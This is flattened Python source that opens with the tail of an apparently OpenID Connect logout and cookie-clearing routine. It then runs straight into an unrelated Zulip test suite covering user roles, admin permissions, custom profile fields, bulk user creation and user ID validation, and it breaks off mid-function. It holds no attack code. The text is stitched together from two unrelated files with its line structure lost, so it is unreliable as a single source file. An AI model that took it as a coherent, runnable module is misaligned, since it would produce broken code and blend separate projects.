{}".format(_cid)) elif res.status_code in [501, 504]: logger.info("Got a %s which is acceptable", res.status_code) elif res.status_code >= 400: logger.info("failed to logout from {}".format(_cid)) return _res["flu"].values() if _res.get("flu") else [] def kill_cookies(self): _context = self.server_get("endpoint_context") _handler = _context.cookie_handler session_mngmnt = _handler.make_cookie_content( value="", name=_handler.name["session_management"], max_age=-1 ) session = _handler.make_cookie_content(value="", name=_handler.name["session"], max_age=-1) return [session_mngmnt, session]
import datetime from email.headerregistry import Address from typing import Any, Dict, Iterable, List, Mapping, Optional, TypeVar, Union from unittest import mock import orjson from django.conf import settings from django.contrib.contenttypes.models import ContentType from django.contrib.sessions.models import Session from django.core.exceptions import ValidationError from django.test import override_settings from django.utils.timezone import now as timezone_now from confirmation.models import Confirmation from zerver.actions.create_user import do_create_user, do_reactivate_user from zerver.actions.invites import do_create_multiuse_invite_link, do_invite_users from zerver.actions.message_send import get_recipient_info from zerver.actions.muted_users import do_mute_user from zerver.actions.realm_settings import do_set_realm_property from zerver.actions.users import ( change_user_is_active, do_change_can_create_users, do_change_user_role, do_deactivate_user, do_delete_user, ) from zerver.lib.avatar import avatar_url, get_gravatar_url from zerver.lib.bulk_create import create_users from zerver.lib.create_user import copy_default_settings from zerver.lib.events import do_events_register from zerver.lib.exceptions import JsonableError from zerver.lib.send_email import ( clear_scheduled_emails, deliver_scheduled_emails, send_future_email, ) from zerver.lib.stream_topic import StreamTopicTarget from zerver.lib.test_classes import ZulipTestCase from zerver.lib.test_helpers import ( cache_tries_captured, get_subscription, get_test_image_file, queries_captured, reset_emails_in_zulip_realm, simulated_empty_cache, ) from zerver.lib.upload import upload_avatar_image from zerver.lib.user_groups import get_system_user_group_for_user from zerver.lib.user_topics import add_topic_mute from zerver.lib.users import Accounts, access_user_by_id, get_accounts_for_email, user_ids_to_users from zerver.lib.utils import assert_is_not_none from zerver.models import ( CustomProfileField, InvalidFakeEmailDomain, Message, PreregistrationUser, Realm, RealmDomain, RealmUserDefault, Recipient, ScheduledEmail, Stream, Subscription, UserGroupMembership, UserHotspot, UserProfile, check_valid_user_ids, filter_to_valid_prereg_users, get_client, get_fake_email_domain, get_realm, get_source_profile, get_stream, get_system_bot, get_user, get_user_by_delivery_email, get_user_by_id_in_realm_including_cross_realm, ) K = TypeVar("K") V = TypeVar("V") def find_dict(lst: Iterable[Dict[K, V]], k: K, v: V) -> Dict[K, V]: for dct in lst: if dct[k] == v: return dct raise AssertionError(f"Cannot find element in list where key {k} == {v}") class PermissionTest(ZulipTestCase): def test_role_setters(self) -> None: user_profile = self.example_user("hamlet") user_profile.is_realm_admin = True self.assertEqual(user_profile.is_realm_admin, True) self.assertEqual(user_profile.role, UserProfile.ROLE_REALM_ADMINISTRATOR) user_profile.is_guest = False self.assertEqual(user_profile.is_guest, False) self.assertEqual(user_profile.role, UserProfile.ROLE_REALM_ADMINISTRATOR) user_profile.is_realm_owner = False self.assertEqual(user_profile.is_realm_owner, False) self.assertEqual(user_profile.role, UserProfile.ROLE_REALM_ADMINISTRATOR) user_profile.is_moderator = False self.assertEqual(user_profile.is_moderator, False) self.assertEqual(user_profile.role, UserProfile.ROLE_REALM_ADMINISTRATOR) user_profile.is_realm_admin = False self.assertEqual(user_profile.is_realm_admin, False) self.assertEqual(user_profile.role, UserProfile.ROLE_MEMBER) user_profile.is_guest = True self.assertEqual(user_profile.is_guest, True) self.assertEqual(user_profile.role, UserProfile.ROLE_GUEST) user_profile.is_realm_admin = False self.assertEqual(user_profile.is_guest, True) self.assertEqual(user_profile.role, UserProfile.ROLE_GUEST) user_profile.is_guest = False self.assertEqual(user_profile.is_guest, False) self.assertEqual(user_profile.role, UserProfile.ROLE_MEMBER) user_profile.is_realm_owner = True self.assertEqual(user_profile.is_realm_owner, True) self.assertEqual(user_profile.role, UserProfile.ROLE_REALM_OWNER) user_profile.is_realm_owner = False self.assertEqual(user_profile.is_realm_owner, False) self.assertEqual(user_profile.role, UserProfile.ROLE_MEMBER) user_profile.is_moderator = True self.assertEqual(user_profile.is_moderator, True) self.assertEqual(user_profile.role, UserProfile.ROLE_MODERATOR) user_profile.is_moderator = False self.assertEqual(user_profile.is_moderator, False) self.assertEqual(user_profile.role, UserProfile.ROLE_MEMBER) def test_get_admin_users(self) -> None: user_profile = self.example_user("hamlet") do_change_user_role(user_profile, UserProfile.ROLE_MEMBER, acting_user=None) self.assertFalse(user_profile.is_realm_owner) admin_users = user_profile.realm.get_human_admin_users() self.assertFalse(user_profile in admin_users) admin_users = user_profile.realm.get_admin_users_and_bots() self.assertFalse(user_profile in admin_users) do_change_user_role(user_profile, UserProfile.ROLE_REALM_ADMINISTRATOR, acting_user=None) self.assertFalse(user_profile.is_realm_owner) admin_users = user_profile.realm.get_human_admin_users() self.assertTrue(user_profile in admin_users) admin_users = user_profile.realm.get_admin_users_and_bots() self.assertTrue(user_profile in admin_users) do_change_user_role(user_profile, UserProfile.ROLE_REALM_OWNER, acting_user=None) self.assertTrue(user_profile.is_realm_owner) admin_users = user_profile.realm.get_human_admin_users() self.assertTrue(user_profile in admin_users) admin_users = user_profile.realm.get_human_admin_users(include_realm_owners=False) self.assertFalse(user_profile in admin_users) admin_users = user_profile.realm.get_admin_users_and_bots() self.assertTrue(user_profile in admin_users) admin_users = user_profile.realm.get_admin_users_and_bots(include_realm_owners=False) self.assertFalse(user_profile in admin_users) def test_get_first_human_user(self) -> None: realm = get_realm("zulip") UserProfile.objects.filter(realm=realm).delete() UserProfile.objects.create( realm=realm, email="bot1@zulip.com", delivery_email="bot1@zulip.com", is_bot=True ) first_human_user = UserProfile.objects.create( realm=realm, email="user1@zulip.com", delivery_email="user1@zulip.com", is_bot=False ) UserProfile.objects.create( realm=realm, email="user2@zulip.com", delivery_email="user2@zulip.com", is_bot=False ) UserProfile.objects.create( realm=realm, email="bot2@zulip.com", delivery_email="bot2@zulip.com", is_bot=True ) self.assertEqual(first_human_user, realm.get_first_human_user()) def test_updating_non_existent_user(self) -> None: self.login("hamlet") admin = self.example_user("hamlet") do_change_user_role(admin, UserProfile.ROLE_REALM_ADMINISTRATOR, acting_user=None) invalid_user_id = 1000 result = self.client_patch(f"/json/users/{invalid_user_id}", {}) self.assert_json_error(result, "No such user") def test_owner_api(self) -> None: self.login("iago") desdemona = self.example_user("desdemona") othello = self.example_user("othello") iago = self.example_user("iago") realm = iago.realm do_change_user_role(iago, UserProfile.ROLE_REALM_OWNER, acting_user=None) result = self.client_get("/json/users") self.assert_json_success(result) members = result.json()["members"] iago_dict = find_dict(members, "email", iago.email) self.assertTrue(iago_dict["is_owner"]) othello_dict = find_dict(members, "email", othello.email) self.assertFalse(othello_dict["is_owner"]) req = dict(role=UserProfile.ROLE_REALM_OWNER) events: List[Mapping[str, Any]] = [] with self.tornado_redirected_to_list(events, expected_num_events=4): result = self.client_patch(f"/json/users/{othello.id}", req) self.assert_json_success(result) owner_users = realm.get_human_owner_users() self.assertTrue(othello in owner_users) person = events[0]["event"]["person"] self.assertEqual(person["user_id"], othello.id) self.assertEqual(person["role"], UserProfile.ROLE_REALM_OWNER) req = dict(role=UserProfile.ROLE_MEMBER) with self.tornado_redirected_to_list(events, expected_num_events=4): result = self.client_patch(f"/json/users/{othello.id}", req) self.assert_json_success(result) owner_users = realm.get_human_owner_users() self.assertFalse(othello in owner_users) person = events[0]["event"]["person"] self.assertEqual(person["user_id"], othello.id) self.assertEqual(person["role"], UserProfile.ROLE_MEMBER) # Cannot take away from last owner self.login("desdemona") req = dict(role=UserProfile.ROLE_MEMBER) with self.tornado_redirected_to_list(events, expected_num_events=4): result = self.client_patch(f"/json/users/{iago.id}", req) self.assert_json_success(result) owner_users = realm.get_human_owner_users() self.assertFalse(iago in owner_users) person = events[0]["event"]["person"] self.assertEqual(person["user_id"], iago.id) self.assertEqual(person["role"], UserProfile.ROLE_MEMBER) with self.tornado_redirected_to_list([], expected_num_events=0): result = self.client_patch(f"/json/users/{desdemona.id}", req) self.assert_json_error( result, "The owner permission cannot be removed from the only organization owner." ) do_change_user_role(iago, UserProfile.ROLE_REALM_ADMINISTRATOR, acting_user=None) self.login("iago") with self.tornado_redirected_to_list([], expected_num_events=0): result = self.client_patch(f"/json/users/{desdemona.id}", req) self.assert_json_error(result, "Must be an organization owner") def test_admin_api(self) -> None: self.login("desdemona") hamlet = self.example_user("hamlet") othello = self.example_user("othello") desdemona = self.example_user("desdemona") realm = hamlet.realm # Make sure we see is_admin flag in /json/users result = self.client_get("/json/users") self.assert_json_success(result) members = result.json()["members"] desdemona_dict = find_dict(members, "email", desdemona.email) self.assertTrue(desdemona_dict["is_admin"]) othello_dict = find_dict(members, "email", othello.email) self.assertFalse(othello_dict["is_admin"]) # Giveth req = dict(role=orjson.dumps(UserProfile.ROLE_REALM_ADMINISTRATOR).decode()) events: List[Mapping[str, Any]] = [] with self.tornado_redirected_to_list(events, expected_num_events=4): result = self.client_patch(f"/json/users/{othello.id}", req) self.assert_json_success(result) admin_users = realm.get_human_admin_users() self.assertTrue(othello in admin_users) person = events[0]["event"]["person"] self.assertEqual(person["user_id"], othello.id) self.assertEqual(person["role"], UserProfile.ROLE_REALM_ADMINISTRATOR) # Taketh away req = dict(role=orjson.dumps(UserProfile.ROLE_MEMBER).decode()) with self.tornado_redirected_to_list(events, expected_num_events=4): result = self.client_patch(f"/json/users/{othello.id}", req) self.assert_json_success(result) admin_users = realm.get_human_admin_users() self.assertFalse(othello in admin_users) person = events[0]["event"]["person"] self.assertEqual(person["user_id"], othello.id) self.assertEqual(person["role"], UserProfile.ROLE_MEMBER) # Make sure only admins can patch other user's info. self.login("othello") result = self.client_patch(f"/json/users/{hamlet.id}", req) self.assert_json_error(result, "Insufficient permission") def test_admin_api_hide_emails(self) -> None: reset_emails_in_zulip_realm() user = self.example_user("hamlet") admin = self.example_user("iago") self.login_user(user) # First, verify client_gravatar works normally result = self.client_get("/json/users", {"client_gravatar": "true"}) self.assert_json_success(result) members = result.json()["members"] hamlet = find_dict(members, "user_id", user.id) self.assertEqual(hamlet["email"], user.email) self.assertIsNone(hamlet["avatar_url"]) self.assertNotIn("delivery_email", hamlet) # Also verify the /events code path. This is a bit hacky, but # we need to verify client_gravatar is not being overridden. with mock.patch( "zerver.lib.events.request_event_queue", return_value=None ) as mock_request_event_queue: with self.assertRaises(JsonableError): do_events_register(user, get_client("website"), client_gravatar=True) self.assertEqual(mock_request_event_queue.call_args_list[0][0][3], True) ############################################################# # Now, switch email address visibility, check client_gravatar # is automatically disabled for the user. with self.captureOnCommitCallbacks(execute=True): do_set_realm_property( user.realm, "email_address_visibility", Realm.EMAIL_ADDRESS_VISIBILITY_ADMINS, acting_user=None, ) result = self.client_get("/json/users", {"client_gravatar": "true"}) self.assert_json_success(result) members = result.json()["members"] hamlet = find_dict(members, "user_id", user.id) self.assertEqual(hamlet["email"], f"user{user.id}@zulip.testserver") # Note that the Gravatar URL should still be computed from the # `delivery_email`; otherwise, we won't be able to serve the # user's Gravatar. self.assertEqual(hamlet["avatar_url"], get_gravatar_url(user.delivery_email, 1)) self.assertNotIn("delivery_email", hamlet) # Also verify the /events code path. This is a bit hacky, but # basically we want to verify client_gravatar is being # overridden. with mock.patch( "zerver.lib.events.request_event_queue", return_value=None ) as mock_request_event_queue: with self.assertRaises(JsonableError): do_events_register(user, get_client("website"), client_gravatar=True) self.assertEqual(mock_request_event_queue.call_args_list[0][0][3], False) # client_gravatar is still turned off for admins. In theory, # it doesn't need to be, but client-side changes would be # required in apps like the mobile apps. # delivery_email is sent for admins. admin.refresh_from_db() user.refresh_from_db() self.login_user(admin) result = self.client_get("/json/users", {"client_gravatar": "true"}) self.assert_json_success(result) members = result.json()["members"] hamlet = find_dict(members, "user_id", user.id) self.assertEqual(hamlet["email"], f"user{user.id}@zulip.testserver") self.assertEqual(hamlet["avatar_url"], get_gravatar_url(user.delivery_email, 1)) self.assertEqual(hamlet["delivery_email"], self.example_email("hamlet")) def test_user_cannot_promote_to_admin(self) -> None: self.login("hamlet") req = dict(role=orjson.dumps(UserProfile.ROLE_REALM_ADMINISTRATOR).decode()) result = self.client_patch("/json/users/{}".format(self.example_user("hamlet").id), req) self.assert_json_error(result, "Insufficient permission") def test_admin_user_can_change_full_name(self) -> None: new_name = "new name" self.login("iago") hamlet = self.example_user("hamlet") req = dict(full_name=new_name) result = self.client_patch(f"/json/users/{hamlet.id}", req) self.assert_json_success(result) hamlet = self.example_user("hamlet") self.assertEqual(hamlet.full_name, new_name) def test_non_admin_cannot_change_full_name(self) -> None: self.login("hamlet") req = dict(full_name="new name") result = self.client_patch("/json/users/{}".format(self.example_user("othello").id), req) self.assert_json_error(result, "Insufficient permission") def test_admin_cannot_set_long_full_name(self) -> None: new_name = "a" * (UserProfile.MAX_NAME_LENGTH + 1) self.login("iago") req = dict(full_name=new_name) result = self.client_patch("/json/users/{}".format(self.example_user("hamlet").id), req) self.assert_json_error(result, "Name too long!") def test_admin_cannot_set_short_full_name(self) -> None: new_name = "a" self.login("iago") req = dict(full_name=new_name) result = self.client_patch("/json/users/{}".format(self.example_user("hamlet").id), req) self.assert_json_error(result, "Name too short!") def test_not_allowed_format(self) -> None: # Name of format "Alice|999" breaks in Markdown new_name = "iago|72" self.login("iago") req = dict(full_name=new_name) result = self.client_patch("/json/users/{}".format(self.example_user("hamlet").id), req) self.assert_json_error(result, "Invalid format!") def test_allowed_format_complex(self) -> None: # Adding characters after r'|d+' doesn't break Markdown new_name = "Hello- 12iago|72k" self.login("iago") req = dict(full_name=new_name) result = self.client_patch("/json/users/{}".format(self.example_user("hamlet").id), req) self.assert_json_success(result) def test_not_allowed_format_complex(self) -> None: new_name = "Hello- 12iago|72" self.login("iago") req = dict(full_name=new_name) result = self.client_patch("/json/users/{}".format(self.example_user("hamlet").id), req) self.assert_json_error(result, "Invalid format!") def test_admin_cannot_set_full_name_with_invalid_characters(self) -> None: new_name = "Opheli*" self.login("iago") req = dict(full_name=new_name) result = self.client_patch("/json/users/{}".format(self.example_user("hamlet").id), req) self.assert_json_error(result, "Invalid characters in name!") def test_access_user_by_id(self) -> None: iago = self.example_user("iago") # Must be a valid user ID in the realm with self.assertRaises(JsonableError): access_user_by_id(iago, 1234, for_admin=False) with self.assertRaises(JsonableError): access_user_by_id(iago, self.mit_user("sipbtest").id, for_admin=False) # Can only access bot users if allow_bots is passed bot = self.example_user("default_bot") access_user_by_id(iago, bot.id, allow_bots=True, for_admin=True) with self.assertRaises(JsonableError): access_user_by_id(iago, bot.id, for_admin=True) # Can only access deactivated users if allow_deactivated is passed hamlet = self.example_user("hamlet") do_deactivate_user(hamlet, acting_user=None) with self.assertRaises(JsonableError): access_user_by_id(iago, hamlet.id, for_admin=False) with self.assertRaises(JsonableError): access_user_by_id(iago, hamlet.id, for_admin=True) access_user_by_id(iago, hamlet.id, allow_deactivated=True, for_admin=True) # Non-admin user can't admin another user with self.assertRaises(JsonableError): access_user_by_id( self.example_user("cordelia"), self.example_user("aaron").id, for_admin=True ) # But does have read-only access to it. access_user_by_id( self.example_user("cordelia"), self.example_user("aaron").id, for_admin=False ) def check_property_for_role(self, user_profile: UserProfile, role: int) -> bool: if role == UserProfile.ROLE_REALM_ADMINISTRATOR: return ( user_profile.is_realm_admin and not user_profile.is_guest and not user_profile.is_realm_owner and not user_profile.is_moderator ) elif role == UserProfile.ROLE_REALM_OWNER: return ( user_profile.is_realm_owner and user_profile.is_realm_admin and not user_profile.is_moderator and not user_profile.is_guest ) elif role == UserProfile.ROLE_MODERATOR: return ( user_profile.is_moderator and not user_profile.is_realm_owner and not user_profile.is_realm_admin and not user_profile.is_guest ) if role == UserProfile.ROLE_MEMBER: return ( not user_profile.is_guest and not user_profile.is_moderator and not user_profile.is_realm_admin and not user_profile.is_realm_owner ) assert role == UserProfile.ROLE_GUEST return ( user_profile.is_guest and not user_profile.is_moderator and not user_profile.is_realm_admin and not user_profile.is_realm_owner ) def check_user_role_change( self, user_email: str, new_role: int, ) -> None: self.login("desdemona") user_profile = self.example_user(user_email) old_role = user_profile.role old_system_group = get_system_user_group_for_user(user_profile) self.assertTrue(self.check_property_for_role(user_profile, old_role)) self.assertTrue( UserGroupMembership.objects.filter( user_profile=user_profile, user_group=old_system_group ).exists() ) req = dict(role=orjson.dumps(new_role).decode()) events: List[Mapping[str, Any]] = [] num_events = 3 if UserProfile.ROLE_MEMBER in [old_role, new_role]: num_events = 4 with self.tornado_redirected_to_list(events, expected_num_events=num_events): result = self.client_patch(f"/json/users/{user_profile.id}", req) self.assert_json_success(result) user_profile = self.example_user(user_email) self.assertTrue(self.check_property_for_role(user_profile, new_role)) system_group = get_system_user_group_for_user(user_profile) self.assertTrue( UserGroupMembership.objects.filter( user_profile=user_profile, user_group=system_group ).exists() ) person = events[0]["event"]["person"] self.assertEqual(person["user_id"], user_profile.id) self.assertTrue(person["role"], new_role) def test_change_regular_member_to_guest(self) -> None: self.check_user_role_change("hamlet", UserProfile.ROLE_GUEST) def test_change_guest_to_regular_member(self) -> None: self.check_user_role_change("polonius", UserProfile.ROLE_MEMBER) def test_change_admin_to_guest(self) -> None: self.check_user_role_change("iago", UserProfile.ROLE_GUEST) def test_change_guest_to_admin(self) -> None: self.check_user_role_change("polonius", UserProfile.ROLE_REALM_ADMINISTRATOR) def test_change_owner_to_guest(self) -> None: self.login("desdemona") iago = self.example_user("iago") do_change_user_role(iago, UserProfile.ROLE_REALM_OWNER, acting_user=None) self.check_user_role_change("iago", UserProfile.ROLE_GUEST) def test_change_guest_to_owner(self) -> None: self.check_user_role_change("polonius", UserProfile.ROLE_REALM_OWNER) def test_change_admin_to_owner(self) -> None: self.check_user_role_change("iago", UserProfile.ROLE_REALM_OWNER) def test_change_owner_to_admin(self) -> None: self.login("desdemona") iago = self.example_user("iago") do_change_user_role(iago, UserProfile.ROLE_REALM_OWNER, acting_user=None) self.check_user_role_change("iago", UserProfile.ROLE_REALM_ADMINISTRATOR) def test_change_owner_to_moderator(self) -> None: iago = self.example_user("iago") do_change_user_role(iago, UserProfile.ROLE_REALM_OWNER, acting_user=None) self.check_user_role_change("iago", UserProfile.ROLE_MODERATOR) def test_change_moderator_to_owner(self) -> None: self.check_user_role_change("shiva", UserProfile.ROLE_REALM_OWNER) def test_change_admin_to_moderator(self) -> None: self.check_user_role_change("iago", UserProfile.ROLE_MODERATOR) def test_change_moderator_to_admin(self) -> None: self.check_user_role_change("shiva", UserProfile.ROLE_REALM_ADMINISTRATOR) def test_change_guest_to_moderator(self) -> None: self.check_user_role_change("polonius", UserProfile.ROLE_MODERATOR) def test_change_moderator_to_guest(self) -> None: self.check_user_role_change("shiva", UserProfile.ROLE_GUEST) def test_admin_user_can_change_profile_data(self) -> None: realm = get_realm("zulip") self.login("iago") new_profile_data = [] cordelia = self.example_user("cordelia") # Test for all type of data fields = { "Phone number": "short text data", "Biography": "long text data", "Favorite food": "short text data", "Favorite editor": "vim", "Birthday": "1909-03-05", "Favorite website": "https://zulip.com", "Mentor": [cordelia.id], "GitHub": "timabbott", } for field_name in fields: field = CustomProfileField.objects.get(name=field_name, realm=realm) new_profile_data.append( { "id": field.id, "value": fields[field_name], } ) result = self.client_patch( f"/json/users/{cordelia.id}", {"profile_data": orjson.dumps(new_profile_data).decode()} ) self.assert_json_success(result) cordelia = self.example_user("cordelia") for field_dict in cordelia.profile_data(): with self.subTest(field_name=field_dict["name"]): self.assertEqual(field_dict["value"], fields[field_dict["name"]]) # Test admin user cannot set invalid profile data invalid_fields = [ ( "Favorite editor", "invalid choice", "'invalid choice' is not a valid choice for 'Favorite editor'.", ), ("Birthday", "1909-34-55", "Birthday is not a date"), ("Favorite website", "not url", "Favorite website is not a URL"), ("Mentor", "not list of user ids", "User IDs is not a list"), ] for field_name, field_value, error_msg in invalid_fields: new_profile_data = [] field = CustomProfileField.objects.get(name=field_name, realm=realm) new_profile_data.append( { "id": field.id, "value": field_value, } ) result = self.client_patch( f"/json/users/{cordelia.id}", {"profile_data": orjson.dumps(new_profile_data).decode()}, ) self.assert_json_error(result, error_msg) # non-existent field and no data invalid_profile_data = [ { "id": 9001, "value": "", } ] result = self.client_patch( f"/json/users/{cordelia.id}", {"profile_data": orjson.dumps(invalid_profile_data).decode()}, ) self.assert_json_error(result, "Field id 9001 not found.") # non-existent field and data invalid_profile_data = [ { "id": 9001, "value": "some data", } ] result = self.client_patch( f"/json/users/{cordelia.id}", {"profile_data": orjson.dumps(invalid_profile_data).decode()}, ) self.assert_json_error(result, "Field id 9001 not found.") # Test for clearing/resetting field values. empty_profile_data = [] for field_name in fields: field = CustomProfileField.objects.get(name=field_name, realm=realm) value: Union[str, None, List[Any]] = "" if field.field_type == CustomProfileField.USER: value = [] empty_profile_data.append( { "id": field.id, "value": value, } ) result = self.client_patch( f"/json/users/{cordelia.id}", {"profile_data": orjson.dumps(empty_profile_data).decode()}, ) self.assert_json_success(result) for field_dict in cordelia.profile_data(): with self.subTest(field_name=field_dict["name"]): self.assertEqual(field_dict["value"], None) # Test adding some of the field values after removing all. hamlet = self.example_user("hamlet") new_fields = { "Phone number": None, "Biography": "A test user", "Favorite food": None, "Favorite editor": None, "Birthday": None, "Favorite website": "https://zulip.github.io", "Mentor": [hamlet.id], "GitHub": "timabbott", } new_profile_data = [] for field_name in fields: field = CustomProfileField.objects.get(name=field_name, realm=realm) value = None if new_fields[field_name]: value = new_fields[field_name] new_profile_data.append( { "id": field.id, "value": value, } ) result = self.client_patch( f"/json/users/{cordelia.id}", {"profile_data": orjson.dumps(new_profile_data).decode()} ) self.assert_json_success(result) for field_dict in cordelia.profile_data(): with self.subTest(field_name=field_dict["name"]): self.assertEqual(field_dict["value"], new_fields[str(field_dict["name"])]) def test_non_admin_user_cannot_change_profile_data(self) -> None: self.login("cordelia") hamlet = self.example_user("hamlet") realm = get_realm("zulip") new_profile_data = [] field = CustomProfileField.objects.get(name="Biography", realm=realm) new_profile_data.append( { "id": field.id, "value": "New hamlet Biography", } ) result = self.client_patch( f"/json/users/{hamlet.id}", {"profile_data": orjson.dumps(new_profile_data).decode()} ) self.assert_json_error(result, "Insufficient permission") result = self.client_patch( "/json/users/{}".format(self.example_user("cordelia").id), {"profile_data": orjson.dumps(new_profile_data).decode()}, ) self.assert_json_error(result, "Insufficient permission") class QueryCountTest(ZulipTestCase): def test_create_user_with_multiple_streams(self) -> None: # add_new_user_history needs messages to be current Message.objects.all().update(date_sent=timezone_now()) ContentType.objects.clear_cache() # This just focuses on making sure we don't too many # queries/cache tries or send too many events. realm = get_realm("zulip") self.make_stream("private_stream1", invite_only=True) self.make_stream("private_stream2", invite_only=True) stream_names = [ "Denmark", "Scotland", "Verona", "private_stream1", "private_stream2", ] streams = [get_stream(stream_name, realm) for stream_name in stream_names] invite_expires_in_days = 4 do_invite_users( user_profile=self.example_user("hamlet"), invitee_emails=["fred@zulip.com"], streams=streams, invite_expires_in_days=invite_expires_in_days, ) prereg_user = PreregistrationUser.objects.get(email="fred@zulip.com") events: List[Mapping[str, Any]] = [] with queries_captured() as queries: with cache_tries_captured() as cache_tries: with self.tornado_redirected_to_list(events, expected_num_events=10): fred = do_create_user( email="fred@zulip.com", password="password", realm=realm, full_name="Fred Flintstone", prereg_user=prereg_user, acting_user=None, ) self.assert_length(queries, 90) self.assert_length(cache_tries, 29) peer_add_events = [event for event in events if event["event"].get("op") == "peer_add"] notifications = set() for event in peer_add_events: stream_ids = event["event"]["stream_ids"] stream_names = sorted(Stream.objects.get(id=stream_id).name for stream_id in stream_ids) self.assertTrue(event["event"]["user_ids"], {fred.id}) notifications.add(",".join(stream_names)) self.assertEqual( notifications, {"Denmark,Scotland,Verona", "private_stream1", "private_stream2"} ) class BulkCreateUserTest(ZulipTestCase): def test_create_users(self) -> None: realm = get_realm("zulip") realm.email_address_visibility = Realm.EMAIL_ADDRESS_VISIBILITY_ADMINS realm.save() name_list = [ ("Fred Flintstone", "fred@zulip.com"), ("Lisa Simpson", "lisa@zulip.com"), ] create_users(realm, name_list) fred = get_user_by_delivery_email("fred@zulip.com", realm) self.assertEqual( fred.email, f"user{fred.id}@zulip.testserver", ) lisa = get_user_by_delivery_email("lisa@zulip.com", realm) self.assertEqual(lisa.full_name, "Lisa Simpson") self.assertEqual(lisa.is_bot, False) self.assertEqual(lisa.bot_type, None) realm.email_address_visibility = Realm.EMAIL_ADDRESS_VISIBILITY_EVERYONE realm.save() name_list = [ ("Bono", "bono@zulip.com"), ("Cher", "cher@zulip.com"), ] create_users(realm, name_list) bono = get_user_by_delivery_email("bono@zulip.com", realm) self.assertEqual(bono.email, "bono@zulip.com") self.assertEqual(bono.delivery_email, "bono@zulip.com") cher = get_user_by_delivery_email("cher@zulip.com", realm) self.assertEqual(cher.full_name, "Cher") class AdminCreateUserTest(ZulipTestCase): def test_create_user_backend(self) -> None: # This test should give us complete coverage on # create_user_backend. It mostly exercises error # conditions, and it also does a basic test of the success # path. admin = self.example_user("hamlet") realm = admin.realm self.login_user(admin) do_change_user_role(admin, UserProfile.ROLE_REALM_ADMINISTRATOR, acting_user=None) valid_params = dict( email="romeo@zulip.net", password="xxxx", full_name="Romeo Montague", ) self.assertEqual(admin.can_create_users, False) result = self.client_post("/json/users", valid_params) self.assert_json_error(result, "User not authorized for this query") do_change_can_create_users(admin, True) # can_create_users is insufficient without being a realm administrator: do_change_user_role(admin, UserProfile.ROLE_MEMBER, acting_user=None) result = self.client_post("/json/users", valid_params) self.assert_json_error(result, "Must be an organization administrator") do_change_user_role(admin, UserProfile.ROLE_REALM_ADMINISTRATOR, acting_user=None) result = self.client_post("/json/users", {}) self.assert_json_error(result, "Missing 'email' argument") result = self.client_post( "/json/users", dict( email="romeo@not-zulip.com", ), ) self.assert_json_error(result, "Missing 'password' argument") result = self.client_post( "/json/users", dict( email="romeo@not-zulip.com", password="xxxx", ), ) self.assert_json_error(result, "Missing 'full_name' argument") # Test short_name gets properly ignored result = self.client_post( "/json/users", dict( email="romeo@zulip.com", password="xxxx", full_name="Romeo Montague", short_name="DEPRECATED", ), ) self.assert_json_success(result) result = self.client_post( "/json/users", dict( email="broken", password="xxxx", full_name="Romeo Montague", ), ) self.assert_json_error(result, "Bad name or username") do_set_realm_property(realm, "emails_restricted_to_domains", True, acting_user=None) result = self.client_post( "/json/users", dict( email="romeo@not-zulip.com", password="xxxx", full_name="Romeo Montague", ), ) self.assert_json_error( result, "Email 'romeo@not-zulip.com' not allowed in this organization" ) RealmDomain.objects.create(realm=get_realm("zulip"), domain="zulip.net") # Check can't use a bad password with zxcvbn enabled with self.settings(PASSWORD_MIN_LENGTH=6, PASSWORD_MIN_GUESSES=1000): result = self.client_post("/json/users", valid_params) self.assert_json_error(result, "The password is too weak.") result = self.client_post("/json/users", valid_params) self.assert_json_success(result) # Romeo is a newly registered user new_user = get_user_by_delivery_email("romeo@zulip.net", get_realm("zulip")) result = orjson.loads(result.content) self.assertEqual(new_user.full_name, "Romeo Montague") self.assertEqual(new_user.id, result["user_id"]) # Make sure the recipient field is set correctly. self.assertEqual( new_user.recipient, Recipient.objects.get(type=Recipient.PERSONAL, type_id=new_user.id) ) # we can't create the same user twice. result = self.client_post("/json/users", valid_params) self.assert_json_error(result, "Email 'romeo@zulip.net' already in use") # Don't allow user to sign up with disposable email. realm.emails_restricted_to_domains = False realm.disallow_disposable_email_addresses = True realm.save() valid_params["email"] = "abc@mailnator.com" result = self.client_post("/json/users", valid_params) self.assert_json_error( result, "Disposable email addresses are not allowed in this organization" ) # Don't allow creating a user with + in their email address when realm # is restricted to a domain. realm.emails_restricted_to_domains = True realm.save() valid_params["email"] = "iago+label@zulip.com" result = self.client_post("/json/users", valid_params) self.assert_json_error(result, "Email addresses containing + are not allowed.") # Users can be created with + in their email address when realm # is not restricted to a domain. realm.emails_restricted_to_domains = False realm.save() valid_params["email"] = "iago+label@zulip.com" result = self.client_post("/json/users", valid_params) self.assert_json_success(result) class UserProfileTest(ZulipTestCase): def test_valid_user_id(self) -> None: realm = get_realm("zulip") hamlet = self.example_user("hamlet") othello = self.example_user("othello") bot = self.example_user("default_bot") # Invalid user ID invalid_uid: object = 1000 with self.assertRaisesRegex(ValidationError, r"User IDs is not a list"): check_valid_user_ids(realm.id, invalid_uid) with self.assertRaisesRegex(ValidationError, rf"Invalid user ID: {invalid_uid}"): check_valid_user_ids(realm.id, [invalid_uid]) invalid_uid = "abc" with self.assertRaisesRegex(ValidationError, r"User IDs\[0\] is not an integer"): check_valid_user_ids(realm.id, [invalid_uid]) invalid_uid = str(othello.id) with self.assertRaisesRegex(ValidationError, r"User IDs\[0\] is not an integer"): check_valid_user_ids(realm.id, [invalid_uid]) # User is in different realm with self.assertRaisesRegex(ValidationError, rf"Invalid user ID: {hamlet.id}"): check_valid_user_ids(get_realm("zephyr").id, [hamlet.id]) # User is not active change_user_is_active(hamlet, False) with self.assertRaisesRegex(ValidationError, rf"User with ID {hamlet.id} is deactivated"): check_valid_user_ids(realm.id, [hamlet.id]) check_valid_user_ids(realm.id, [hamlet.id], allow_deactivated=True) # User is a bot with self.assertRaisesRegex(ValidationError, rf"User with ID {bot.id} is a bot"): check_valid_user_ids(realm.id, [bot.id]) # Successfully get non-bot, active user belong to your realm check_valid_user_ids(realm.id, [othello.id]) def test_cache_invalidation(self) -> None: hamlet = self.example_user("hamlet") with mock.patch("zerver.lib.cache.delete_display_recipient_cache") as m: hamlet.full_name = "Hamlet Junior" hamlet.save(update_fields=["full_name"]) self.assertTrue(m.called) with mock.patch("zerver.lib.cache.delete_display_recipient_cache") as m: hamlet.long_term_idle = True hamlet.save(update_fields=["long_term_idle"]) self.assertFalse(m.called) def test_user_ids_to_users(self) -> None: real_user_ids = [ self.example_user("hamlet").id, self.example_user("cordelia").id, ] 